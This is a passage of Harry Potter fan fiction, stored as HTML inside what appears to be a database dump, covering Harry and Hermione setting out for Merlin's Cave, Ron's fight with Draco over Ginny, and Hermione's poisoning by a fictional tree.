wrote down the incantation for you.&#8221; He handed the parchment to Harry, &#8220;I suggest you read it and commit it to memory, if it falls into the wrong hands, all the wizard or witch would have to do is kill you and use your souls to get into the vault.&nbsp; And we don&#8217;t want that now do we?&#8221; He winked with a smile. And also handed them a satchel of galleons, knuts and sickles. Just in case.</p>\n\n<p>They heard a popping sound and Dobby stood there holding a large bag of food and some bottle of water. &#8220;Harry Potter sir, we is giving you food for journey.&#8221; The elf handed the large bag to Harry and he accepted it with a smile.</p>\n\n<p>Hermione pulled out her travel bag from her pocket, using her wand she removed the shrinking charm and the bag grew to its normal size.&nbsp; &#8220;Here Harry give me the food.&#8221;</p>\n\n<p>Harry handed her the food and she put it in her bag along with that vile of elixir that Snape gave them and the sack of money.&nbsp; She closed the bag up good and tight and put the shrinking charm back on her bag, and tucked it safe away into her pocket.</p>\n\n<p>&#8220;That&#8217;s right intelligent of you Miss Granger, shrinking you bag. I assume you did the same for Mr. Potter here.&#8221; Dumbledore praised and he saw her flush with slight embarrassment. &#8220;Shrinking charms are somewhat difficult to grasp at first, it&#8217;s good thing you know how to use the charm, since you don&#8217;t want to be bogged down with heavy objects, you need to be light on your feet.&#8221;</p>\n\n<p>Dumbledore scratched his chin a bit, &#8220;now I&#8217;m not going to sugar coat this for you, you are old enough to understand the truth. There are dangers out there, not just from wizards or witches gone bad. But beasts, and thieves and killer plant life. It&#8217;s not going to be easy, but you two are very capable and I&#8217;m sure you&#8217;ll be just fine.&nbsp;&nbsp;&nbsp; Just come back to us in one piece, that&#8217;s all we ask.&#8221;</p>\n\n<p>Harry and Hermione both nodded.</p>\n\n<p>&#8220;Now, I&#8217;ve set up a portkey to take you as far a <st1:place><st1:placename>Destiny</st1:placename>\n\n<st1:placetype>Lake</st1:placetype></st1:place>, after that you are on your own.&nbsp; Just be on your guard and everything will be alright.&#8221;</p>\n\n<p>&#8220;Well be careful professor.&#8221; Hermione said looking into Dumbledore&#8217;s blue eyes, they seemed clouded with worry.&nbsp; But he smiled anyway.</p>\n\n<p>&#8220;I trust you will.&#8221; Dumbledore said. &#8220;Now then are you ready?&#8221;</p>\n\n<p>&#8220;Wait.&#8221; A female voice said.</p>\n\n<p>Harry and Hermione looked up at saw Rowena floating down the stairs in haste, she reached the two teens and smiled at them.&nbsp; </p>\n\n<p>&#8220;I just wanted to wish you luck, I would hug you if I could, but this whole see through me crud prevents me from it.&#8221; She smiled.&nbsp; &#8220;Okay get on with you now, you&#8217;ve got lots of ground to cover.&#8221; Her transparent like eyes started swelling with light see through tears.</p>\n\n<p>Dumbledore opened a box and there was a small cloth, both Harry and Hermione reached for the cloth touching it at the same time. In a flash they were gone.</p>\n\n<p>Rowena wiped her eyes, &#8220;I hope they&#8217;ll be alright.&#8221;</p>\n\n<p>&#8220;They&#8217;ll be fine Rowena, they&#8217;ll be fine.&#8221; He smiled walking towards the Great Hall, he found Ron Weasley leaning against it.&nbsp; </p>\n\n<p>Ron watched the headmaster pass him and enter the Great Hall.&nbsp; He straightened his stance and pulled on his robe.&nbsp; Silently wishing that they would never return, and for them to also be careful at the same time.&nbsp; He returned to the Great Hall, his sister passed him in a rush.&nbsp; &#8220;Ginny, where are you going?&#8221;</p>\n\n<p>&#8220;I uh, left my transfiguration book in my dorm and I need to get it.&#8221; She said with a smile and she rushed up the stairs towards Gryffindor tower while Ron went back into the hall. </p>\n\n<p>She stopped climbing the stairs and turned to make sure the Great Hall doors were closed.&nbsp; Ginny cautiously started down the stairs and towards the secret room that she and Draco always meet in.&nbsp; She knocked on the door three times and it opened and she stepped inside. The door closed.</p>\n\n<p>&#8220;What took you so long?&#8221; A male voice said.</p>\n\n<p>&#8220;I had to wait until the coast was clear, I had to make up a story about leaving a book in my dorm.&#8221;&nbsp;&nbsp; She turned smiling up at her love.</p>\n\n<p>His arms were immediately around her and she was pulled into his loving embrace. &#8220;Draco, I was thinking about telling Ron about us.&#8221;</p>\n\n<p>&#8220;He won&#8217;t be too happy with you, and he&#8217;ll probably try to kill me.&#8221;</p>\n\n<p>&#8220;I know, but it&#8217;s the right thing to do. And no matter what he says I will not stop being with you.&#8221; She smiled looking up at him.</p>\n\n<p>He returned the smile, then his mouth was pressed against hers in a warm, loving kiss.&nbsp; Draco noticed she wasn&#8217;t putting all her heart into their kiss. He pulled back glancing down at her. &#8220;Is something the matter?&nbsp; You seem distracted.&#8221;</p>\n\n<p>They both sat down on the sofa, &#8220;I suppose I&#8217;m just worried about Hermione and Harry.&#8221;</p>\n\n<p>&#8220;Why?&#8221; He scoffed.</p>\n\n<p>&#8220;Well Ron told me that they are going on a mission to Merlin&#8217;s Cave.&#8221; Ginny glanced at her hands which were resting in her lap.</p>\n\n<p>&#8220;Really?&#8221; He simply said, then gently covered her hand with his. &#8220;Well I&#8217;m sure they&#8217;ll be alright, I can understand how you would be worried about them. After all Potter and Granger are your friends, it would be heartless not to worry. I can just sit here with you to help ease your emotions and nerves if you like. We don&#8217;t have to do anything else.&#8221;</p>\n\n<p>Ginny smiled at him, &#8220;you are so wonderful.&#8221;</p>\n\n<p>&#8220;Yes, yes I am.&#8221; He smirked.&nbsp; &#8220;Ginny why was that Gryffindor Reynolds sitting with the Slytherins at breakfast?&#8221;</p>\n\n<p>Ginny sighed &#8220;oh, she and Ron had a fight and she didn&#8217;t want to be anywhere near him until he apologized to Hermione.&nbsp; At least that&#8217;s the impression I got when she went to sit with her other friends.&#8221;</p>\n\n<p>&#8220;What was the fight about?&nbsp; It had to have been bad for Reynolds to openly sit with us extremely fabulous Slytherins.&#8221; He praised his house mates.</p>\n\n<p>Ginny shook her head back and forth trying not to laugh. &#8220;Not really, she told me around the first time I met her that the Sorting Hat was debating between Gryffindor and Slytherin, probably because she&#8217;s kinda like my brothers Fred and George.&nbsp; But it decided on Gryffindor.&nbsp; And well she&#8217;s ignoring Ron because of the fight he had with Hermione and Harry last night.&#8221;</p>\n\n<p>Draco&#8217;s face lit up with merriment, &#8220;tell me about that.&nbsp; Anything that breaks up the Mighty Trio has got to be good to hear.&#8221;</p>\n\n<p>Ginny rolled her eyes, thinking that he could be so silly at time. &#8220;Well I&#8217;m sure you&#8217;ve heard of my brother&#8217;s and Hermione&#8217;s famous get&#8212;out&#8212;of&#8212;hand arguments, right?&#8221;</p>\n\n<p>&#8220;Who hasn&#8217;t, sometimes those two break into a full blown-out row right in the hall on the way to classes.&#8221; Draco replied shaking his head back and forth.</p>\n\n<p>&#8220;Well Ron said some inexcusable things to Hermione last night, earning him a nice smack in the face. I could still see some of the bruised mark on his cheek this morning, she really let him have it.&#8221; </p>\n\n<p>&#8220;He probably deserved the smack he got from Granger, I remember when she let me have it. I was completely stunned out of my mind.&#8221; His eyes narrowed recalling that incident back in third year. </p>\n\n<p>&#8220;Ron just doesn&#8217;t know how to control his anger, and he ends up hurting her a lot.&nbsp; But I&#8217;m sure they&#8217;ll make up. They always do.&nbsp; I don&#8217;t think he even really meant to say those things.&#8221;&nbsp; Ginny feeling Draco&#8217;s thumb rubbing against the top of her hand, she glanced down.&nbsp; </p>\n\n<p>&#8220;You&#8217;re friends will get back together in no time, and then they&#8217;ll be back to throwing me insults and threatening me like usual.&nbsp; I just know it.&#8221;</p>\n\n<p>Ginny smiled looking up into Draco&#8217;s bluegray eyes. She felt the world fall away as she stared into those deep pools.&nbsp; She leaned in and pressed her lips timidly against his.&nbsp; Ginny had never started a kiss with him before, she was always waiting for it.&nbsp; But this time, he had made her feel so much better and happier that she just couldn&#8217;t resist.</p>\n\n<p>Draco returned the kiss, pressing his mouth just a bit harder against hers.&nbsp; Just as they were getting into their moment, the door to their room opened.</p>\n\n<p>&#8220;Are you sure you left it in here Seamus?&#8221; Ron asked.</p>\n\n<p>&#8220;Yeah, when Lavender and I were in here last night, I took it off and set it on the table in the back of the&#8212;&#8221;</p>\n\n<p>&nbsp;Ginny and Draco quickly pulled away, looking up to find Ron with Seamus standing there. Ron had the look of pure rage spreading across his face. </p>\n\n<p>&#8220;Get your slimy Slytherin paws off my sister!&#8221; Ron shouted while Seamus just glared at Draco.</p>\n\n<p>Ron approached them and grabbed his sister&#8217;s arm pulling her to her feet, &#8220;What the hell do you think your doing?!&#8221;</p>\n\n<p>&#8220;Ron calm down.&#8221; She pulled her arm from his grasp and went to stand by Draco, who was now standing.&nbsp; &#8220;I&#8217;m in love.&#8221;</p>\n\n<p>&#8220;I can&#8217;t believe what I&#8217;m hearing.&#8221; He shouted throwing his arms wildly in the air.</p>\n\n<p>Draco stood in front of her sparing her the wrath of her brother. </p>\n\n<p>&#8220;This has got to be the stupidest thing you could have done Ginny.&#8221;</p>\n\n<p>&#8220;No it&#8217;s not!&#8221; She stepped out from behind Draco, glaring at her brother. &#8220;I love him and there&#8217;s nothing you can do about it.&#8221;</p>\n\n<p>&#8220;You&#8217;re not thinking straight, he&#8217;s done something to you, probably taken control of your mind like he did Hermione&#8217;s.&#8221;</p>\n\n<p>&#8220;No he hasn&#8217;t, I&#8217;m in my right mind Ron, and&nbsp; Draco loves me too.&#8221;</p>\n\n<p>Ron burst out into harsh laughter, noticing he&#8217;s been doing that a lot lately.&nbsp; &#8220;Ginny he is not capable of love.&#8221;</p>\n\n<p>&#8220;You shut it Ron! I will be with Draco and I won&#8217;t stop just because you want me to.&#8221;</p>\n\n<p>&#8220;You&#8217;ve lost your mind. I hope St. Mungos is comfortable this time of year.&#8221; He was very sarcastic.</p>\n\n<p>Ginny took a deep breath trying to calm down. &#8220;How dare you say such a thing to me, no wonder Hermione slapped you, no wonder Zara won&#8217;t even go near you. You are horrible.&#8221; She sighed, &#8220;I am in love with Draco and he is in love with me.&nbsp; We are going to be together whether you like it or not.&#8221;</p>\n\n<p>Ron glared at Draco and without warning he lunged at him and before anyone had time to react he threw a punch which connected with Draco&#8217;s face.&nbsp; They didn&#8217;t even hear Ginny scream as the two boys fell to ground, Draco throwing punches back, hitting Ron in his side a few times.&nbsp; They wrestled on the floor until Seamus pulled Ron from off of Draco. </p>\n\n<p>&#8220;Ron stop, Malfoy is not worth it.&#8221; </p>\n\n<p>Ron stopped struggling against his friend, &#8220;you wouldn&#8217;t say that if it was your sister.&#8221;</p>\n\n<p>&#8220;Well I don&#8217;t have any sisters so you can&#8217;t use that analogy.&#8221; Seamus tried to make a joke, but Ron didn&#8217;t find it funny as he just glared at his friend.</p>\n\n<p>Ginny helped Draco up off the floor, she turned back looking at Ron, her rage was clear.&nbsp; &#8220;Just stay away from us Ron, just stay away.&#8221;</p>\n\n<p>Seamus grabbed Ron by the arm sleeve, &#8220;come on Ron, there&#8217;s nothing more you can do.&#8221;</p>\n\n<p>&#8220;You will regret this Malfoy.&#8221; Ron sneered and turned walking out of the room with Seamus.</p>\n\n<p>Ginny turned to Draco looking at his bruised face. &#8220;Oh look what he did to you.&#8221;&nbsp; She pulled out her wand.</p>\n\n<p>&#8220;What are you going to do?&#8221; He looked at her, he eyes full of apprehension.</p>\n\n<p>She laughed, &#8220;oh Draco, you know I&#8217;ve been working with Madame Pomfrey, I&#8217;m going to be a doctor you know. I was just gonna heal you up&#8221;</p>\n\n<p>Draco relaxed, &#8220;oh right I remember.&#8221;</p>\n\n<p>Ginny pressed the tip her wand to Draco&#8217;s bloody lip and muttered a spell, in an instant, the wound was healed. She did that to the rest of his face, which was flawless once again.&nbsp; &#8220;There now, all better.&#8221;</p>\n\n<p>&#8220;I&#8217;m sorry about your brother Ginny.&#8221; He said with sincerity.</p>\n\n<p>&#8220;I kinda expected that reaction, didn&#8217;t you?&#8221; She said looking to the floor.</p>\n\n<p>&#8220;He&#8217;s just going through a lot it seems, he&#8217;s just lost his friends, his girlfriend and now his little sister has taken up with his worst enemy. I kinda feel sorry for him.&#8221; Draco said smoothing Ginny&#8217;s hair from her face, he ran his fingers through the thick, ruby red strands.&nbsp; &#8220;I wouldn&#8217;t stay mad at him for long, after all he&#8217;s the only Ron you have.&#8221;</p>\n\n<p>&#8220;You are so understanding.&nbsp; How did I ever get so fortunate to have you in my life?&#8221;</p>\n\n<p>&#8220;I think we&#8217;re both fortunate, my love.&#8221; He leaned in an captured her mouth with his own, they were soon drowning in the essence of each other.</p>\n\n<p>&#8220;Harry, are you alright?&#8221; Hermione looked down at Harry with worry as he was sitting on the ground.</p>\n\n<p>&#8220;Yeah,&#8221; he looked up at her, &#8220;portkey travel is not fun, I seem to get dizzy.&#8221;</p>\n\n<p>&#8220;Oh yeah you traveled that way once before.&#8221; She looked away from him, not really wanting him to see the look on her face.</p>\n\n<p>&#8220;It&#8217;s alright Hermione, I&#8217;ve learned to talk about it.&#8221;</p>\n\n<p>Hermione squatted down next to him. &#8220;It&#8217;s not that Harry, it&#8217;s just you could have been killed.&#8221;&nbsp;&nbsp; </p>\n\n<p>Harry lifted his hand, resting it against her cheek, &#8220;but I wasn&#8217;t.&#8221;&nbsp; He gazed into her eyes a moment.&nbsp; </p>\n\n<p>&#8220;I know and I&#8217;m glad.&#8221; She stood and held her hand out for him to take.</p>\n\n<p>He grabbed her hand securely and Hermione helped pull him to his feet.&nbsp; Harry wiped his hands on his jeans trying to get the dust and dirt off. </p>\n\n<p>They finally looked around and sure enough they were at <st1:place><st1:placename>Destiny</st1:placename>\n\n<st1:placetype>Lake</st1:placetype></st1:place>.&nbsp; Harry remembered being here not too long ago.&nbsp; There was still the same large lake with the boulder resting in it, and the same golden sun streaming down upon the lake giving it a crystal image look.</p>\n\n<p>&#8220;Which direction do we head in?&#8221; Hermione looked up at the sun and then back at Harry.</p>\n\n<p>Harry pointed north, &#8220;that way.&#8221;</p>\n\n<p>&#8220;What dangers do you think well find?&#8221; Hermione said, a slight quiver in her voice.</p>\n\n<p>&#8220;I&#8217;m not sure, but not something that we can&#8217;t handle together.&#8221; He gave her a soft smile and reached for her hand.</p>\n\n<p>She accepted the warmth of his hand by grasping his, &#8220;you&#8217;re right.&#8221; She looked towards their destination, a creepy feeling washed over her and she squeezed his hand tighter but she pushed those thoughts away, she could face anything as long as Hary was there with her, every step of the way.&nbsp; </p>\n\n<p>Harry and Hermione both looked at each other</p>\n\n<p>&#8220;And so it begins.&#8221; Harry said.&nbsp; They started on their way to Merlin&#8217;s Cave.</p>\n\n<p>======</p>\n\n<p>Well do you think Ron was out of line?&nbsp; I certainly did.&nbsp; Well stay tuned for Chapter 18 &#8211;Onward To Camelot.&nbsp; Read and Review, Thanks, Ryoko.</p> '),
	(41, 18, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Disclaimer:&nbsp;&nbsp; Alright\nall the Harry Potter characters belong to J.K. Rowlings,\nexcept for the plot, Zara, Jewel, Enrique, Jasmine, Ulrich, Torrin, Alina,,\nLeelee, Kai, Finley and Orvin.&nbsp; Those are\nmine. So please don&#8217;t sue me because I don&#8217;t have anything ;)</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Chapter 18&#8212;Onward To Camelot</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\nhad already been walking for hours as Harry and Hermione pushed their way\nthrough the dense forest, a few white barked tree branches scraped and seemed\nto dig into Hermione&#8217;s right arm.&nbsp; She\nfelt the sting of cool air as it hit her opened wound, and quickly covered her\nscratch with her palm.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp; &#8220;Harry can we stop a minute?&#8221; She moved her\nhand a bit, and saw her thick red blood beginning to glide out smoothly from\nher wound. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nlooked back at her, noticing her looking at her fresh wound and cringing. &#8220;Sure\nHermione.&#8221; Harry looked around and found a fallen log, &#8220;I suppose we could use\na rest.&#8221; He sat down looking up at Hermione who was still more interested in\nher new wound to even notice Harry had sat down.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Here\nlet me take a look.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nnodded and sat down beside him, &#8220;it&#8217;s not as bad as I thought, and the bleeding\nhas stopped.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nlifted Hermione&#8217;s arm looking at her wound, the area around the cut had puffed\nup a bit.&nbsp; He lightly touched the cut\nwith his finger and Hermione let out a strangled gasp. He looked up at her in\nshock. &#8220;Does it hurt that much?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well,\nit is a cut Harry. I think it would be strange if it didn&#8217;t hurt.&#8221; Hermione\nsaid while watching him lightly pat around her wound with his finger.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nnodded still looking at the wound. &#8220;It looks strange Hermione, see it&#8217;s all\npuffy here.&#8221; He softly touched the area around the cut, &#8220;I mean I&#8217;m not a\ndoctor or anything, but I&#8217;ve had my share of cuts and bruises and mine have\nnever looked like this.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A\nbunch of red sparks flew past them, hitting a tree right next to Hermione\nmaking her shriek and jump a bit.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;Whoever you are stay right there!&#8221; An angry\nvoice shouted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione sat there, not moving as a figure approached.&nbsp; He held a wand menacingly at them.&nbsp; &#8220;Who are you and why are you trespassing on\nmy land?&#8221; His gray eyes were dark with anger.&nbsp;\nAnother fellow came up behind the man, who was just as intimidating.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sir\nwe had no idea we were trespassing, we need to get across your land.&#8221; Harry\nsaid standing, he held his hands up in a defensive gesture, and to show that he\nwas not armed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Bring\nthe girl and come with me.&#8221; The strange man said through clenched teeth.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nlooked down at Hermione, who&#8217;s eyes were wide with distrust. &#8220;It&#8217;ll be alright\nHermione,&#8221; He held his hand out for her to take.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nreached up clutching his hand as he pulled her to her feet.&nbsp; Still hand in hand they followed the man\nthrough the forest, going in a slightly different direction.&nbsp; They were being led by one of the men, while\nthe other stayed behind them.&nbsp; Probably\nmaking sure they didn&#8217;t run off.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione were brought to a quaint little cottage just beyond the forest.\nHarry glanced around there were all kinds of armor and weapons laying about the\nyard.&nbsp; What looked like a boxing ring\nstood just to the left of the cottage.&nbsp;\nThere was a large wall with several different kinds of spears all lined\nup in a neat row from smallest to largest.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\ndoor to the cottage opened and a young man looking like he was in his early\ntwenties stepped out, &#8220;ah, I see we have guests.&#8221; The young man said\ncheerfully.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Hermione looked at each other oddly, <i style="mso-bidi-font-style:normal">Guests?</i>\nThey saw the question in each other&#8217;s eyes. They felt more like prisoners\nrather than guests.&nbsp; They were brought to\nthe young man.&nbsp; &#8220;Please forgive my\nbrothers, they don&#8217;t like trespassers too much.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\ndecided to speak up, &#8220;we had not meant to trespass, it&#8217;s the only way through\nthe forest.&nbsp; There was&#8212;&#8221; But he was\ninterrupted by the young man.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;There&#8217;s\nno need to explain.&#8221; The young man said with a smile, &#8220;I&#8217;m called Gavin and\nthose two big louts are my brothers, Edber and Rico.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why\nhave we been brought here?&#8221; Hermione asked as she rubbed her arm.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nglanced down at her wound noticing the puffiness was spreading, it did not look\nright, even for a cut.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nyou were trespassing, I thought maybe we could help you get back on track to\nwhere it is you were going.&#8221; Gavin said with a delightful smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nnodded.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Gavin\nglanced down at Hermione rubbing her arm. &#8220;Let me see that.&#8221; He pointed to her\nwound.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nremoved her hand from her wound, and saw Gavin&#8217;s eyes widen.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\ndear,&#8221; He sighed. &#8220;You must come with me, we need to take care of that.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What,\nwhy?&#8221; Hermione said looking at Gavin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nhave poison running through your veins my dear, we need to take care of it\nbefore it spreads and causes damage.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Poison?&#8221;\nHermione stared, the sound of his voice was low and far away as Gavin spoke.\nAlmost as if she didn&#8217;t hear him.&nbsp;\nHermione felt herself moving, she shook her head and her mind returned.&nbsp; She found Harry pulling her inside Gavin&#8217;s\nhouse,&nbsp; where the scent of cinnamon\napples filled the cottage.&nbsp; They were\ngreeted by and older man and woman. Probably his parents.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Gavin\nhad Hermione sit down at the table, the older man came over.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What&#8217;s\ngoing on here Gavin?&#8221; The older man asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Father,\nthis young lady was scraped by a Morginite tree.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\nolder man nodded and reached behind him grabbing a box from the shelf.&nbsp; He sat it down before his son.&nbsp; Gavin opened the box and pulled out a small\nvile of glittery potion, &#8220;this will reverse the effects of the poison.&#8221; He\nopened the vile and poured a little of it into Hermione&#8217;s throbbing cut.&nbsp; A little bit of steam rose from the\nwound.&nbsp; &#8220;There, in a few minutes the\nswelling will go down and the poison will be no more.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nrelaxed, &#8220;thank you.&#8221; She sighed with relief then felt Harry put his arm around\nher, pulling her up against his side.&nbsp;\nShe leaned her head on his shoulder.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Gavin\nsmiled at the two of them, his face now became stern and very serious &#8220;you two\nare actually lucky my brothers caught you, a few more minutes and there\nwould&#8217;ve been nothing we could do to help you, you would&#8217;ve been dead in less\nthan an hour.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nturned her head into Harry&#8217;s chest cringing at the word dead.&nbsp; He held her even tighter.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What\nkind of tree was that again?&nbsp; We would\nprobably like to avoid it in the future.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s\ncalled a Morginite Tree.&#8221; The Older man sat down in a chair across from Harry,\n&#8220;it&#8217;s very dangerous, the bark is used in weapons.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Is\nthere a way to tell it apart from other trees, because it just looked like a\nsimple oak tree to me.&#8221; Harry replied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;The\nMorginite does look a bit like an oak tree, that&#8217;s how so many people have died\nfrom it, they think it&#8217;s an oak.&nbsp; But the\nway to tell is the Morginite has small ringlets going around the bark.&#8221; The\nolder man replied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nlifted her head from Harry&#8217;s shoulder and glance down at her wound, the\nswelling was gone and so was the cut. She smiled thankfully at Gavin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nglanced out the window, still seeing all the equipment,</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;This\nis a training ground for armies or individuals who just want to learn the art\nof weaponry.&#8221; Gavin said as he too looked out his window.&nbsp; &#8220;We also make weapons and use the Morginite\nbark in our arrow tips.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nnodded in understanding.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Do\nyou want to take a look?&#8221; Gavin&#8217;s father asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Maybe\njust a quick look&#8221; Harry replied. But then he looked over at Hermione thinking\nthat she might just want to leave and continue on their journey, &#8220;that is if\nyou don&#8217;t mind.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nshook her head, &#8220;not at all Harry, I&#8217;m quite fascinated myself.&#8221; She said with\na smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nsmiled as did the older man.&nbsp; All of them\nexcept Gavin stood and headed to the door and stepped out into the mid\nafternoon sun.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;By\nthe way I&#8217;m Ordon, and you are?&#8221; The older man asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nsighed he always hated this part, &#8220;I&#8217;m Harry Potter and this is Hermione\nGranger.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nsmiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ordon\njust nodded, &#8220;well it&#8217;s good to meet you Harry, can I call you Harry?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nshrugged, &#8220;sure.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They&nbsp; walked over to the training area, Ordon\nshowed them all the weapons.&nbsp; He picked\nup one it looked like an iron ball with sharp spikes, it hung on the end of a\nchain,&nbsp; he called it a mace.&nbsp; Ordon swung it around.&nbsp; It was one heavy weapon if you weren&#8217;t used\nto the weight.&nbsp; They were really quite\nfascinated with it all.&nbsp; Ordon then\npulled out his best sword and proudly held it up, the sun&#8217;s 